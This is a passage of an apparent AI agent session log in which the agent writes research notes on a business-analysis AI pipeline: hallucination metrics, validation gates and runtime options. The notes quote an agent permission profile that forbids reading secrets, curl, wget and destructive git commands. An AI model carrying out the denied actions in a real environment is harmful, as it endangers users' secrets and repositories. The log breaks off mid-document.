\"msg_011CfXMyAnVm6wFSqN5gVLh7\",\n[2026-09-29T07:49:30.393Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:49:30.393Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:49:30.393Z] [INFO]     \"content\": [\n[2026-09-29T07:49:30.393Z] [INFO]       {\n[2026-09-29T07:49:30.393Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:49:30.393Z] [INFO]         \"id\": \"toolu_01AdXRxxjGGVh5FdqK4eiWd3\",\n[2026-09-29T07:49:30.393Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:49:30.393Z] [INFO]         \"input\": {\n[2026-09-29T07:49:30.393Z] [INFO]           \"command\": \"mkdir -p /tmp/research-notes && cat > /tmp/research-notes/ba-requirements.md <<'EOF'\\n# Research notes: research/ba-requirements (executive-presentation facts)\\n\\nRepo: G-Ivan-A/hybrid-Intelligence-lab, checked out at /tmp/gh-issue-solver-1790667776920 (main @ ecb1d94 + branch issue-646).\\nBase URL (main): https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/\\nAll paths below are relative to that base. Numbers are copied from the cited files; nothing is computed here.\\nBranch note: issue-639-405767e7672e (tip 836faaf) is already merged into main (PR #643, merge d718616). Everything it added is on main,\\nso main URLs work. Branch URLs (https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-639-405767e7672e/) are equivalent.\\n\\n---------------------------------------------------------------------------------------------------\\n## 1. Empirical snapshots of Mango runs\\n\\n### 1.1 research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md (source: mango_ba_prompts commit 524a8eb)\\n- 56 runs, 2026-04-10 .. 2026-08-25. run_type: statistics 47, execution 9.\\n- Status: draft 29, works-with-edits 19, partial-success 5, success 1, needs-rework 1, experimental 1.\\n- Prefixes: task- 32, fr- 9, bcreq- 4, prompt- 3.\\n- Metrics (n runs with metric / sum / median / range):\\n  - episodes 41 / 1080 / 15 / 1..83\\n  - iterations 37 / 1052 / 19\\n  - turns 34 / 2084 / 44 / 2..166\\n  - success_rate 18 / - / 0.60 / 0.25..0.92\\n  - hallucinations 11 / 41 / 3 / 2..8\\n  - hallucinations_shipped 11 / 12 / 1 / 0..3\\n  - ba_edits 10 / 53 / 6 / 0..11\\n  - quality 11 / 31 / 3\\n  - tokens_dialog_total 32 / 61,360,738 / 720,806 / 3,387..9,225,333\\n  - duration_wall_clock_s 11 / 1,331,029 / 45,675 / 2,762..522,867\\n- Shipped hallucinations in 9 runs: RUN-0016, 0018, 0021, 0022, 0024, 0025, 0026, 0027, 0028.\\n- Keyword counts (runs out of 56): \\\"\u043f\u043e\u043a\u0440\u044b\u0442\\\" (covered) 41, \\\"\u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438\\\" (clarification) 23, \\\"\u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\\\" (hallucination) 20, \\\"\u0434\u043e\u043c\u044b\u0441\u043b\\\" (speculation) 11, \\\"\u043a\u0430\u0441\u0442\u043e\u043c\\\" (custom) 10, \\\"\u0442\u0430\u0440\u0438\u0444\\\" (tariff) 7, \\\"\u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430\\\" (access rights) 5, \\\"\u0443\u0436\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\\\" (already implemented) 3, \\\"discoverab\\\" 0, \\\"deprecat\\\"/\\\"\u0432\u044b\u0432\u043e\u0434 \u0438\u0437 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438\\\" (decommissioning) 0.\\n- Limitations stated by the file:\\n  - Hallucinations are recorded under 3 keys (hallucinations 11, hallucinations_found 3, hallucinations_prevented 3).\\n  - success_rate is not comparable between runs.\\n  - Metric fill rate ranges from 10 to 41 of 56 runs.\\n\\n### 1.2 research/ba-requirements/2026-08-26-rrp-full-cycle-corpus-facts.md (commit ef88a9a)\\n- 57 runs. statistics 47, execution 10. Status: draft 29, works-with-edits 19, partial 6, success 1, needs-rework 1, experimental 1.\\n- inputs/, logs/ and feedback/ are present in 100% of runs. The contract is kept in form only.\\n- M1 (modeling): core-process markers in 15/57 runs; modeling markers in only 2/57 (RUN-0002, RUN-0003). No C-CORE exists in practice.\\n- M2 (rendering):\\n  - 57/57 runs produce at least 1 document; 23/57 (40.4%) produce more than 1.\\n  - Documents per run: 1 doc 34 runs, 2 docs 11, 3 docs 11, 5 docs 1 (RUN-0057).\\n  - L0-L4 audience fan-out in 2 runs (RUN-0056, RUN-0057).\\n- M3 (feedback):\\n  - metrics.eval 40 (70.2%), verdict 15 (26.3%), success_rate 16 (28.1%).\\n  - measured declared 5 (8.8%; true 3, false 2).\\n  - related_runs 21 (36.8%); hallucinations_shipped>0 in 9 (15.8%).\\n- M4 (orchestration):\\n  - 71 distinct metrics keys, none universal. episodes appears in 41 runs (71.9%); 24 keys appear in exactly one run.\\n  - token_method is filled in 41 runs with 24 distinct values.\\n  - Prompt modes: stepwise 10, oneshot 9, legacy 5, others 3.\\n- No run delivered a contract TZ (per #541).\\n\\n### 1.3 research/ba-requirements/2026-08-26-m0-m2-layering-hypothesis-check.md\\n- 57 runs; 32 produced at least 1 document (the denominator). 0 produced a TZ. 4 consumed a foreign TZ as input (e.g. RUN-0055, RUN-0057).\\n- 4 runs fanned out into multiple documents, 2 of them with L0-L4.\\n- Linear decomposition reaches the terminal contract in 0/32 (0%); layered decomposition in 32/32 (100%). The owner's threshold was 80%.\\n\\n### 1.4 research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md (commit 8cbf82a)\\n- 67 runs viewed. 125 markdown files: run-journal 63, analysis-note 45, requirement-document 17.\\n- The 17 requirement documents have 17 distinct skeletons, with no match even as slot sets.\\n- Same task BCREQ-1074 (RUN-0063/0064/0067): 3 documents, 3 skeletons, mean Jaccard 0.69, minimum 0.571. Other groups: 0.286, 0.2, 0.167, 0.333.\\n- Slots (sections / distinct captions): S-OTHER 33/27, S-SCENARIO 14/14, S-FR 14/10, S-PROBLEM 10/8, S-LIMITS 9/7, S-SOLUTION 8/6, S-OPEN 7/5, S-GLOSSARY 6/4, S-TRACE 5/3, S-AC 1, S-UI 1.\\n- Formats: F-NARRATIVE 7, F-CLASSIC 6, F-MIXED 3, F-SHORT 1. No run declares its expected format.\\n- There are no clean product samples, so the Golden Set must be synthetic.\\n\\n### 1.5 research/ba-requirements/2026-09-08-meta-model-inputs-facts.md (commit 8cbf82a)\\n- Prompts:\\n  - 24 active prompts: stepwise 10, oneshot 9, legacy 5.\\n  - 13 capabilities; duplication 1.85; 9/13 capabilities have more than one variant.\\n- Variant pairs:\\n  - 13 variant pairs, mean Jaccard 0.077. 0 pairs have identical sets or order. Max 0.4 (fr-validation). Size ratio 1.22..3.30.\\n  - 8 of the 13 pairs have Jaccard 0.0.\\n- Prompt usage:\\n  - 50/67 runs reference no prompt. Referenced: stepwise 14, oneshot 3, legacy 3.\\n  - 11/24 prompts are never referenced.\\n- Operations: prompts cover 6/13. The 7 without a prompt are governance, impact_analysis, quality, release_readiness, research, reverse_requirements, risk_analysis.\\n- Processes: 1/9 used (fr-generation); 65 process labels fall outside the dictionary.\\n- Product domain declared in 5/67 runs; 66/67 runs map lexically to more than one domain.\\n\\n### 1.6 research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md\\n- 12 meta-model constructs checked against 24 prompts and 67 runs.\\n- 10 constructs appear in none of the prompts. 4 appear in neither prompts nor runs: MM-4, OPS-2, Contract, T-1 closed dictionary.\\n- Average 1.04 constructs per prompt, maximum 2; the one present is usually \\\"version:\\\".\\n- Gates mentioned in runs: G-self 7, G-mach 9, G-human 7, SK-4 1. EP-G1 appears in 1 prompt and 15 runs.\\n- Conclusion: the corpus cannot serve as the basis for new contracts. This feeds ADR-014 (legacy is evidence, not baseline) and LG-4.\\n\\n### 1.7 research/ba-requirements/2026-09-08-kb-slot-fit-facts.md\\n- 5 KB documents, 860 sections.\\n  - 457 (53.1%) matched a specific rule.\\n  - 403 (46.9%) fell to the default S-SCOPE.\\n  - 0 needed a slot outside the 14-slot dictionary.\\n- Profile ordinal predictions: 5/5 confirmed (3/3 pairs each).\\n- Two absolute predictions failed:\\n  - S-INTEGRATION for P-API was 19.2% against a >=30% threshold.\\n  - S-UI for speech analytics was 3.9% against a >=10% threshold.\\n\\n### 1.8 research/ba-requirements/2026-09-07-ecosystem-knowledge-inventory.md\\n- 368 artifacts: hub 251 (68%), mango 64 (17%), clarify 53 (14%).\\n- By class: Research 173 (163 of them in hub), Standard 53, RFC 39, ADR 37.\\n- Status: draft 242 (65.8%), no frontmatter 53. canonical+accepted is 48/368 = 13%.\\n- Link graph: 3361 edges, 200 cross-repo, 19 isolated nodes. mango->hub 81, hub->mango 31, clarify->hub 0.\\n- 8 transferable mechanisms found in clarify.\\n\\n### 1.9 Baseline quoted in methodology-unification (research/ba-requirements/methodology-unification/00-introduction.md)\\n- Of 67 runs only 2 are unconditional success. 2/32 runs with a verdict (6%) were accepted without edits.\\n- Verdicts: draft 35, works-with-edits 19, partial 8, success 2.\\n\\n---------------------------------------------------------------------------------------------------\\n## 2. Hypothesis: cognitive operations are poorly suited to direct AI generation; remedy = strict prompt + machine-readable contract + fail-closed validation\\n\\nHONEST NOTE: this exact sentence does not appear verbatim anywhere in research/ba-requirements. The argument is spread across\\nseveral files. The strongest chain of evidence:\\n\\n1. Theory: research/ba-requirements/methodology-unification/10-theory.md (sec. 1, sec. 5)\\n   - Failure A: if the model resolves deltas itself, the result is non-deterministic.\\n     Quote: \\\"\u0434\u0432\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0434\u0430\u044e\u0442 \u0434\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0432\u043e\u0434\u0430 \u043d\u043e\u0440\u043c\\\" (two runs produce two different sets of norms).\\n     Remedy: resolution is a build step with a human gate, and SKILL.md is the compiled artifact. The agent never computes deltas at runtime.\\n   - Gate theory T-1. Quote: \\\"G-self \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0434\u0435\u0444\u0435\u043a\u0442, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0437\u0430\u0431\u043b\u0443\u0436\u0434\u0435\u043d\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 ...\\n     \u0444\u0430\u043a\u0442\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043e\u0431\u044f\u0437\u0430\u043d\u044b \u0438\u043c\u0435\u0442\u044c G-mach\\\" (G-self cannot detect a defect caused by the model's own misconception;\\n     factual properties must have G-mach).\\n   - T-2: irreversible decisions require G-human. Criterion K: G-mach is used only for decidable properties.\\n2. Cases: research/ba-requirements/methodology-unification/40-practice-and-cases.md\\n   - C-1, RUN-0018 (qwen3.7-plus, fr-validation-stepwise, 8 self-check steps).\\n     Recorded: hallucinations 8, shipped 1, ba_edits 6, success_rate 0.63.\\n     The run's own conclusion: \\\"\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\\\" (the prompt mechanics were followed; factual accuracy was not ensured).\\n     In other words, a strict prompt plus self-check is not enough.\\n   - C-2, RUN-0063 -> 0064 -> 0067 (BCREQ-1074).\\n     - 5 requirements described functionality that already existed.\\n     - 8 errors: contract violation 3, missing contract 2, prompt ambiguity 2, technical limitation 1.\\n     - Rework: 9 audit findings applied, 5 requirements removed, delta reduced to 8 fields, 9 statements turned into questions. RUN-0063 was marked invalid.\\n     - Remedy: a delta-baseline skill with a G-mach fail-closed gate.\\n       Quote: \\\"\u043f\u0443\u0441\u0442\u043e\u0439 SSOT \u2014 \u043e\u0442\u043a\u0430\u0437, \u0430 \u043d\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\\\" (an empty SSOT is a refusal, not a warning).\\n     - The defect surfaced two runs late.\\n   - C-3, RUN-0008/0009: norm checks were done by the model and stayed draft (gap G-13).\\n   - The BCREQ decomposition table assigns a gate type to each skill.\\n     Pilot B-131 (delta-baseline with G-mach fail-closed) is listed in methodology-unification/50-open-research.md.\\n3. Normalization: research/ba-requirements/normalization/00-introduction.md\\n   - The human gate is unreliable: 9/56 runs shipped hallucinations. Machine-checkable grounding is therefore required.\\n   - Coverage assessment is the main loss (\\\"\u043f\u043e\u043a\u0440\u044b\u0442\\\" (covered) 41/56 vs \\\"discoverab\\\" 0) and should become a separate operation with its own gate.\\n4. Rendering: research/ba-requirements/artifact-rendering/00-introduction.md\\n   - M2 is assembly, not writing: no new meaning may be born at render (non-drift K5).\\n   - 9 runs shipped fiction.\\n   - Render modes differ by what can be proven.\\n5. Environment: research/ba-requirements/2026-09-10-gigacode-environment-facts.md\\n   - GC-19: the agent works where the result is machine-checkable.\\n   - GC-20: the agent invents whatever it does not know.\\n   - Vendor guidance: \\\"\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u0430, \u0430 \u043d\u0435 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0430\\\" (a check must be shown, not claimed).\\n6. Why prompts alone are insufficient\\n   - Legacy prompts carry about 0 checkable constructs (1.04 per prompt, mostly \\\"version:\\\"; 10/12 constructs absent). Source: 2026-09-09-legacy-normative-influence-facts.md.\\n   - Prompt variants for the same capability barely overlap (mean Jaccard 0.077). Source: 2026-09-08-meta-model-inputs-facts.md.\\n7. Contracts at the operation level\\n   - The operation taxonomy defines 31 operations in 5 cognitive classes (extract/transform/generate/check/assess).\\n   - Each operation is \\\"\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435, \u043d\u043e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435\\\" (an atomic but semantically complete cognitive action) with a 6-field contract and atomicity rules OA-1..OA-6.\\n   - Now lives in projects/ba-ai-process/ (moved by B-155, #573; see research/ba-requirements/README.md). ADR-016 covers skill form and contract format.\\n8. Runtime evidence that fail-closed must check the step, not the package: projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\n   - \u0413-29 (probe P10): \\\"lorem ipsum\\\" was accepted as the output of n1..n3 because the gate checks the package, not the step.\\n   - \u0413-30: deterministic_share = 1.0 even with junk output.\\n   - Root cause 8: \\\"\u0413\u0435\u0439\u0442 \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430\\\" (the gate measures the package, not the step result).\\n   - Backlog B-212 adds a per-node output contract so the metric counts verified outputs.\\n\\n---------------------------------------------------------------------------------------------------\\n## 3. Key conclusions per subdir (source: /00-introduction.md)\\n\\nnormalization (research/ba-requirements/normalization/)\\n- Introduces the term \\\"Initiating Artifact\\\" (IA-1..IA-7).\\n- The main loss is coverage assessment (41/56 vs 0), so it should be a separate operation with a gate.\\n- The human gate is unreliable (9/56 shipped hallucinations), so machine-checkable grounding is needed.\\n- Recommends hybrid H-H: a universal taxonomy plus a Mango taxonomy with a correlation matrix, and statistics as a separate process.\\n\\nmethodology-unification (research/ba-requirements/methodology-unification/)\\n- There is no single BA methodology, and only 13% of ecosystem knowledge is normative.\\n- Two levels:\\n  - Governance: L0 industry -> L1 IT-telecom -> L2 Mango deltas D1..D5.\\n  - Execution: a resolved, compiled SKILL.md (I-1..I-7).\\n- The agent never computes deltas at runtime.\\n- Baseline: 2/32 runs with a verdict (6%) accepted without edits. Roadmap B-121..B-135.\\n\\norchestration (research/ba-requirements/orchestration/)\\n- The route is fixed before generation on axes A1..A6 at gate HG-0. The route sheet C-RK is a commitment.\\n- Compatibility rules C1..C6 and flow rules F1..F6 are machine-checked. Interruption is normal; HG-8 is the stop gate.\\n- Routing already exists implicitly (stepwise 10 / oneshot 9 / legacy 5).\\n- Build verdict: a YAML artifact; an engine is redundant (orchestration/30-decision-framework.md around L193).\\n  Later challenged by #639: the orchestrator role has no executor.\\n\\nsolution-modeling (research/ba-requirements/solution-modeling/)\\n- The core is an object (C-CORE), not a stage. Practice has none: 2/57 modeling runs, and the 40% multi-document runs are built from dialogue context.\\n- Priority is readability across actors. 12 model classes MO-1..MO-12. The HG-4 owner is set by axis A6.\\n- Mango covers 6/12 model classes and 4/9 invariants.\\n- Build-vs-buy candidates: StrictDoc, Doorstop, Sphinx-Needs, ReqIF.\\n\\nartifact-micro-structure (research/ba-requirements/artifact-micro-structure/)\\n- 17/17 skeletons differ. Arity is stable but semantics are not, so captions must be separated from meaning (slots S-*).\\n- UI and AC are dissolved into FR. Documents are built by projection, not concatenation: one artifact, 3 projections (V-BIZ / V-APPROVE / V-DEV).\\n- The Golden Set is mandatory, synthetic, and part of G-mach. A skill is an atomic, compiled, self-contained artifact.\\n\\nartifact-rendering (research/ba-requirements/artifact-rendering/)\\n- M2 is assembly, not authorship: no new meaning may be born at render (non-drift K5). 23/57 runs produce multiple documents; 9 shipped fiction.\\n- Three render modes (deterministic RM-1, generative, hybrid RM-3), distinguished by what can be proven.\\n- H2.2: deterministic rendering may be impossible for a TZ. Gates HG-5 / HG-5.1.\\n\\nfeedback-and-evolution (research/ba-requirements/feedback-and-evolution/)\\n- Without M3 the pipeline cannot learn. Documents are delivered in 100% of runs, but measurement reliability is declared in only 8.8%.\\n- 71 metric keys, 24 singletons; token_method has 24 values.\\n- First task: a closure-record schema C-CL.\\n- Separate execution quality, decision quality and process quality. Feedback delay ranges from minutes to months.\\n\\n---------------------------------------------------------------------------------------------------\\n## 4. GigaCode environment, skill granularity/format, process taxonomy defects\\n\\n### 4.1 research/ba-requirements/2026-09-10-gigacode-environment-facts.md\\n- 11/11 vendor pages returned HTTP 200; 24/24 control statements were found. Facts GC-1..GC-28.\\n- Skills: SKILL.md lives in .agents/skills//. Only name and description are required, name must be unique, and loading is staged.\\n- Agents:\\n  - Defined in .opencode/agent/*.md with mode primary/subagent/all, plus permission and steps.\\n  - Shell access is available for build/test/lint.\\n  - The profile forbids reading secrets, editing .git, curl, wget, git merge and git reset --hard. MCP is available.\\n- Vendor quality stance:\\n  - \\\"\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u0430, \u0430 \u043d\u0435 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0430\\\" (the check must be shown, not claimed).\\n  - \\\"\u043a\u0430\u0436\u0434\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0444\u0430\u0439\u043b\u043e\u043c \u0438 \u0441\u0442\u0440\u043e\u043a\u043e\u0439\\\" (every claim is backed by file and line).\\n- Automatic context compression. AGENTS.md is read on every run.\\n- GC-19: works where the result is machine-checkable. GC-20: invents what it does not know.\\n- The GigaCode developer opens PRs. MCP exposes 42 tools, including issue_read, add_issue_comment and get_job_logs.\\n- GC-25..28, skill bounds:\\n  - A short rule belongs in AGENTS.md.\\n  - Anything that needs separate permissions or an isolated context is an agent.\\n- Owner's claim of a 1,000,000-token hard limit is not in the docs (rule SK-6; verification is B-162).\\n- The earlier assumption that \\\"SKILL.md was derived by analogy\\\" is refuted. The human-gate mechanism is undocumented.\\n\\n### 4.2 research/ba-requirements/2026-09-10-skill-granularity-format-facts.md\\n- F1: the environment does not bound skill granularity (confirmed). F2/F3 give the lower and upper bounds.\\n- F4: control returns to the actor in stepwise 10/10, oneshot 0/9, legacy 0/5, a perfect split.\\n- F5: \\\"oneshot = atomic\\\" is refuted. 9/9 oneshot prompts contain an internal algorithm.\\n- F6: 0/33 L3 skills consist of a single operation; skills use 2..7 operations.\\n- F7: 21/31 operations are reused by 3 or more skills. Top: check-schema 11, link-elements 8, map-to-slot 7, check-completeness 6, classify-item 6, classify-severity 6, extract-statements 6.\\n\\n### 4.3 research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md (spoke 8cbf82a, hub 15aa76f)\\n- D1: \\\"\u0424\u0422/\u0422\u0417\\\" (FR/TZ) merged in 29 places, while the ontology has 2 types (A18 feature-spec-kk; A19 tz-contract per GOST 34.602-2020).\\n- D2: \\\"draft\\\" is used as a process boundary in 4 places, although it is a lifecycle state.\\n- D3: 7/13 operations (0.538) have more than one output class (the documentation describes 6).\\n- D4: 8/13 operation definitions enumerate heterogeneous results.\\n- D5: 6 subprocesses (P1..P6, gates G1..G3) in Mango vs 0 in the hub.\\n- D6: System, User and Subprocess entities are missing, while 5 prompts require an actor. Addressed by meta-model v0.2 (11 entities).\\n- D7: 66/67 runs fall outside the process dictionary.\\n- D8: 1 branching marker (a negation) vs 2 immutability claims.\\n- DISCREPANCY: research/ba-requirements/README.md paraphrases D3 as \\\"7 of 13 operations without a single prompt\\\" and D4 as \\\"8 of 13 require branching\\\".\\n  The facts file defines D3 as \\\"more than one output class\\\" and D4 as \\\"enumerating definitions\\\". Cite the facts file.\\n- Related ADR: ADR-015 (taxonomy rebuild).\\n\\n### 4.4 Taxonomy after rebuild (research/ba-requirements/README.md v0.5)\\n- Levels: L0 BABOK 6 -> L1 6 families -> L2 10 processes P-01..P-10 -> L3 33 skills.\\n- 31 operations in 5 classes.\\n- ba-meta-model, process-taxonomy and operation-taxonomy were moved to projects/ba-ai-process/ (B-155, #573).\\n\\n---------------------------------------------------------------------------------------------------\\n## 5. Branch issue-639 vs main\\n\\n- origin/issue-639-405767e7672e (tip 836faaf) is an ancestor of main. It was merged via PR #643 (merge commit d718616), so 0 commits are ahead of main.\\n- research/ba-requirements is identical on the branch and on main. There are NO new files in that directory.\\n- Files added by the #639 commits (all now on main):\\n  - projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md (508 lines, v0.1): runtime options, part 2\\n  - projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md (hypotheses \u0413-01..\u0413-25; v0.2 pointer): part 1\\n  - projects/ba-ai-process/experiments/issue_639_gap_probes.sh and .log\\n  - projects/ba-ai-process/experiments/issue_639_runner_probes.py and .log (probes P10..P12)\\n  - ops/backlog.md: sprint 25 items B-203..B-210; sprint 26 items B-211..B-218\\n- Key content of the runtime-options document:\\n  - Verdict: the main gap is in the meta-model. The orchestrator role has no executor among the 11 entities (\u0413-26).\\n    Quote: \\\"\u0412\u0435\u043a\u0442\u043e\u0440 \u0432\u0435\u0440\u043d\u044b\u0439, \u043d\u043e \u0443 \u043d\u0435\u0433\u043e \u043d\u0435 \u0445\u0432\u0430\u0442\u0430\u043b\u043e \u043e\u0434\u043d\u043e\u0433\u043e \u0437\u0432\u0435\u043d\u0430\\\" (the vector is right, but it lacked one link).\\n    Source -> Distribution -> Runtime -> Feedback (ADR-017) is correct; the missing link is the route executor, code that fulfils the meta-model obligations.\\n    It \\\"\u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c; \u0435\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u0434\u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0438\u0437 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e runner GigaCode\\\" (need not be bought; it should be built out of the existing GigaCode runner).\\n  - Success criterion for a core option: it executes EP-R3/EP-R5 predicates, EP-R6 decision records, the EP-R7 corrective attempt, EP-R8 resume, the EP-R9 journal and G-human in code outside the model. It takes the graph from Source without manual redraw.\\n  - Probe findings:\\n    - \u0413-28 (P11): 17 YAML predicates in routes/rg-bcreq-v1.yaml are not read; branches are re-coded in Python for 8 nodes.\\n    - \u0413-29 (P10): \\\"lorem ipsum\\\" was accepted as the output of n1..n3.\\n    - \u0413-30: deterministic_share = 1.0 even with junk, so the ADR-018 trigger (<95% after 10 tasks) can never fire.\\n    - \u0413-31: halt is terminal, so there is no resume.\\n    - \u0413-32 (P12): one mistyped transition to n9 blocks the task permanently.\\n    - \u0413-33: EP-R7 allows 1 corrective attempt, but the package allows 0.\\n    - \u0413-35: the append-only digest-chain journal is confirmed.\\n  - Environment layer:\\n    - \u0413-37..39: clients, MCP (\\\"model-controlled\\\") and hooks cannot guarantee step order.\\n    - \u0413-41: clients are unstable. Roo Code archived, Kilo orchestrator deprecated, Gemini CLI paid-only from 2026-06-18, Cline v4 renamed its tools.\\n    - \u0413-42: GigaCode CLI provenance and hooks are unverified.\\n  - Environments:\\n    1. GigaCode CLI (the BA drives the route manually).\\n    2. Cline + Mango AI via an OpenAI-compatible API (the model drives the route; ADR-019 pilot).\\n    3. Qwen Chat.\\n    4. Server.\\n  - Options matrix \u0412-0..\u0412-10 against criteria \u041a1..\u041a8:\\n    - Recommendation 1 = \u0412-1: runner as leader on the BA workstation.\\n    - Recommendation 2 = \u0412-3: server runner (FastAPI + FSM + Postgres), with LangGraph (MIT) as optional \u0412-4.\\n    - The two recommendations are one trajectory.\\n  - n8n: only as a shell (\u0412-7), never as the core (\u0412-6). Reasons:\\n    - CVE-2026-21858 (CVSS 10.0).\\n    - The graph must be redrawn in n8n.\\n    - The AI Agent node is non-deterministic.\\n    - The Business tier costs EUR 667/month.\\n  - Rejected as core: Dify/Flowise, Windmill/Kestra/Prefect, Camunda/Operaton, Temporal (overkill).\\n  - \u0413-54: the deferred external-engine option needs a revisit trigger (multi-user, waits longer than a session, shared journal, i.e. env 4).\\n  - New root causes:\\n    - 7: the orchestrator role has no owner.\\n    - 8: the gate measures the package, not the step result.\\n    - 9: deferred decisions have no revisit triggers.\\n  - Guidance rules 8..12 for writing product tasks, e.g. name an executor for each role, ask what the gate actually checks, separate core from shell.\\n  - Readiness: the Cline package is debug-ready with conditions. The GigaCode runner is ready for transition debugging but NOT for pilot measurements until changes 1.1..1.3; until then deterministic_share says nothing about step quality.\\n  - Backlog:\\n    - B-211: evaluate YAML predicates.\\n    - B-212: per-node output contract.\\n    - B-213: wait/resume.\\n    - B-214: EP-R7 decision.\\n    - B-215: route executor in the meta-model.\\n    - B-216: one runner core for GigaCode and Cline.\\n    - B-217: verify GigaCode CLI.\\n    - B-218: RFC for env 4.\\n    - All are TODO with priority null (a human assigns priority).\\n  - Reproduce: python3 projects/ba-ai-process/experiments/issue_639_runner_probes.py. Versions: n8n 2.40.7, Cline 4.1.21, Open WebUI 0.11.4.\\nEOF\\nwc -w /tmp/research-notes/ba-requirements.md\",\n[2026-09-29T07:49:30.393Z] [INFO]           \"description\": \"Write full research notes file\"\n[2026-09-29T07:49:30.393Z] [INFO]         },\n[2026-09-29T07:49:30.393Z] [INFO]         \"caller\": {\n[2026-09-29T07:49:30.393Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:49:30.393Z] [INFO]         }\n[2026-09-29T07:49:30.393Z] [INFO]       }\n[2026-09-29T07:49:30.393Z] [INFO]     ],\n[2026-09-29T07:49:30.393Z] [INFO]     \"container\": null,\n[2026-09-29T07:49:30.393Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:49:30.393Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:49:30.393Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:49:30.393Z] [INFO]     \"usage\": {\n[2026-09-29T07:49:30.393Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:49:30.393Z] [INFO]       \"cache_creation_input_tokens\": 2519,\n[2026-09-29T07:49:30.393Z] [INFO]       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\\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u043b\u0430\u0439\u0434\u044b\\n\\n\u041f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 